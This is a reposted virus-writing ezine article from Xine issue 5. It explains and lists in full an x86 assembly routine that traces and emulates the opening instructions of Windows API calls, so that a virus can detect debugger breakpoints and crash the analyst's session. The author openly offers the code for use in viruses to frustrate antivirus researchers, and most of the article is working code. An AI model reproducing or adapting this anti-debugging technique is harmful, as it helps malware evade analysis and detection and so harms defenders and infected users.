Copy Link
Add to Bookmark
Report

Xine - issue #5 - Phile 302

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 

Ú-----------------------------¿
| Xine - issue #5 - Phile 302 |
À-----------------------------Ù





;
; Well, i hope you've read my lil doc about anti debugging.
;
; This code shows how to make it more difficult for AV's to breakpoint
; the API's you use.
;
; *How it works:
;
; *Functional:
;
; Well, a breakpoint (in softice) is just an INT3 on the entry of the
; API. You say 'bpx loadlibrarya' to softice, softice looks in the dlls
; defined in winice.ini for loadlibrarya, and it puts an INT3 there.
;
; The following code looks for an INT3 in the API you call, not only
; on the start of the api, but it traces and emulates into the API,
; so AVs have something more to do.
;
; *Technical:
;
; In your virus you normally have a table, filled up with RVA's of the
; APIs you wanna use. They are all 4 bytes, all are 'apiname dd 0h'.
;
; With this code you have to do it in another way: In stead of
; 'apiname dd 0h', you have 'Apiname equ entrynumber'. Well, entry no.
; is an entry into the api table. 0 is api 0, 1 is api 1, etc.
;
; You use the macro 'calls' in this way: calls apiname. the macro named
; "calls" creates this code:
;
; call stealthcallapi ;the normal sub
; db apinamenumber
;
; So lets say you want to call the 3th entry in your table, because
; it is messageboxa
;
; you have somewhere the equ 'iMessageBoxA equ 3'. You do a
; 'calls iMessageBoxA', and the result is
;
; call stealthcallapi
; db 3
;
; mmm ok? i'm not good at explaining things but i'm doing my best ;)
;
; oki, stealthcallapi checks the byte after the call (so you are
; "limited" to 256 API's ;), it looks up the offset in the table, and
; then it is going to look around a bit into the api code. It emulates
; the found opcode. If the found opcode is an int3, it will halt the
; PC. If the humble disassembler isn't able to disassemble/trace further,
; it will continue to execute the real code of the api at the point
; where it got lost.
;
; it is also possible to call a normal routine, using callapi, and in
; eax you have to put the offset of the code you wanna execute.
;
; *Weak point(s)
;
; AV can breakpoint on the place where the tracer returns to the real
; API code. Not very dangerous, but he can look for the return add. on
; the stack, to breakpoint after the stealthcallapi-call. So it can be
; smart to do a checksum of your code everytime you call stealthcall
; api (insert the checksum code there). With checksumming you can find
; INT3's in your code, and crash it...
;
; mmm.. i hope you understood it ;)
;
; lifewire / being a proud member of IKX

.386p
.model flat

extrn ExitProcess:PROC;
extrn GetModuleHandleA:proc;
extrn GetLastError:proc;

calls macro function ;api stealth macro
call stealthcallapi
db function
endm

LoadLibraryA equ 0
GetProcAddress equ 1

;----------------------------------------------------------------------------;
_CODE segment dword use32 public 'CODE'

start:
int 3

xor ebp,ebp

push offset namepje
calls LoadLibraryA

push offset nametoimport
push eax
calls GetProcAddress

push 0
push offset namepje
push offset namepje
push 0
call callapi ;messageboxa

int 3

Push 0
Call ExitProcess

namepje db "user32.dll",0 ;name of dll to loadlib.
nametoimport db "MessageBoxA",0 ;name of api to call

db "LW-AT-"
db (offset endtracer-offset stealthcallapi)/100 mod 10 + "0"
db (offset endtracer-offset stealthcallapi)/010 mod 10 + "0"
db (offset endtracer-offset stealthcallapi)/001 mod 10 + "0"

;----------------------------------------------------------------------------;
;
; Works a lil like VxDCall works:
;
; Needs function byte after the call... when called, esp points to the return
; address so its quite easy to get it.
;
; And this one gets the address of the api & calls 'callapi' with the address
;
stealthcallapi:
mov eax,[esp] ;return adress
inc dword ptr [esp] ;increase return add
movzx eax,byte ptr [eax]
mov eax,dword ptr [ebp+apitbl+eax*4]

;----------------------------------------------------------------------------;
;
; This routine emulates a part of the api that is called, so BPX's at API's
; (e.g. BPX GetModuleHandleA) will be caught... and often something as
; BPX GetModuleHandleA+1 too... until the emulated opcode isn't understandable
; for the emulator... then it 'jmps' to the offset inside the API where the
; emulator got lost...
;
; It emulates pretty long, in NT, 9x, 2k & ME an average of 5 instructions.
; not bad for such small code, erh?
;
; use it in your own code too, its annoying for AV's I hope :)
;
; (Breaking API's is less easy, your source looks good or even better, and
; the result is even anti disassembling/debugging because the calls don't
; really return after the call opcode, and even while tracing in softice
; it sucks because you can't just press f10:)
;
; emulates the most common opcodes you find at the start of an API:
;
; sub reg32,samereg32 (often used to zero a reg (EDX) for SEH)
; push reg32 (often a push edi)
; push byte
; push dword (often the address of a SEH-handler)
; mov reg32,reg32 (often ebp,esp, and more)
; nop
; int 3 (if found it's time to crash)
; mov dword ptr fs:[reg32],esp (SEH)
; push dword ptr fs:[reg32] (SEH)
;
;
;
; Needs EAX : START OF CODE
;

callapi:

mov ecx,ebp
lea ebp,[ebp+regstate]
mov [ebp+3*4],ebx ;save the preserved registers:
mov [ebp+5*4],ecx ;ecx=ebp ;ebx,esi,edi and ebp
mov [ebp+6*4],esi
mov [ebp+7*4],edi

traceapi:
mov [ebp+4*4],esp ;only esp isn't emulated but
movzx ebx,word ptr [eax] ;real..

cmp bl,02bh
je subsomething

cmp bl,50h ;push reg = 50 .. 57
jb WeAreLost ;push byte = 6a
;push dwor = 68
cmp bl,58h
jb pushregister

cmp bl,6ah
je pushbyte

cmp bl,68h
je pushdword

cmp bl,08bh
je movreg

cmp bl,90h
je nopje

cmp bl,0cch ;wooh ;) a breakpoint
je killhim

cmp bl,064h
je maybesomethingwithseh

jmp WeAreLost

pushregister:
movzx ebx,bl
sub bl,50h
push dword ptr [ebp+ebx*4]
inc eax
jmp traceapi

pushbyte:
movzx ebx,bh ;ebx = dword<-byte to push
push ebx
inc eax
inc eax
jmp traceapi

pushdword:
push dword ptr [eax+1]
add eax,5
jmp traceapi

nopje:
inc eax
jmp traceapi

killhim: ;bye bye av
xor eax,eax
mov fs:[eax],eax
xor esp,esp ;doesn't reveal too much even
jmp esp ;with FAULTS ON (empty stack)

subsomething:
cmp bh,0c0h
jb WeAreLost

mov ch,bh
and ch,111000b
and bh,111b
shr ch,3
cmp bh,ch ;are src- & dst-reg the same?
jne WeAreLost

movzx ebx,bh
xor ecx,ecx
mov dword ptr [ebp+ebx*4],ecx
inc eax
inc eax
jmp traceapi

movreg:
cmp bh,0c0h
jb WeAreLost

mov ch,bh
and ch,111000b
and bh,000111b
shr ch,3
movzx ecx,ch
movzx ebx,bh

push dword ptr [ebp+ebx*4]
pop dword ptr [ebp+ecx*4]

inc eax
inc eax
jmp traceapi

maybesomethingwithseh:
mov bx,word ptr [eax+1]
cmp bl,0ffh
je pushfssetupseh

cmp bx,2289h
jne WeAreLost

mov dword ptr fs:[0],esp
add eax,3
jmp traceapi

pushfssetupseh:
sub bh,30h
cmp bh,8
ja WeAreLost

push dword ptr fs:[0]
add eax,3
jmp traceapi

WeAreLost:

push eax ;eax = place to jmp, but
;eax may have another value
mov eax,[ebp+0*4]
mov ecx,[ebp+1*4]
mov edx,[ebp+2*4]
mov ebx,[ebp+3*4]
mov esi,[ebp+6*4]
mov edi,[ebp+7*4]
mov ebp,[ebp+5*4] ;ofcourse as last!

ret ;place to jmp
endtracer:
;----------------------------------------------------------------------------;

;fill in this table with offsets of apis...
;(it is virus orientated)

apitbl:
dd 0bff776d0h ;LoadLibraryA
dd 0bff76da8h ;GetProcAddress

regstate db 8 dup (012h,34h,56h,78h)


apiend:

_CODE ends
;----------------------------------------------------------------------------;

;----------------------------------------------------------------------------;
_DATA segment dword use32 public 'DATA'
fill db ?
_DATA ends
;----------------------------------------------------------------------------;

end start
end

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT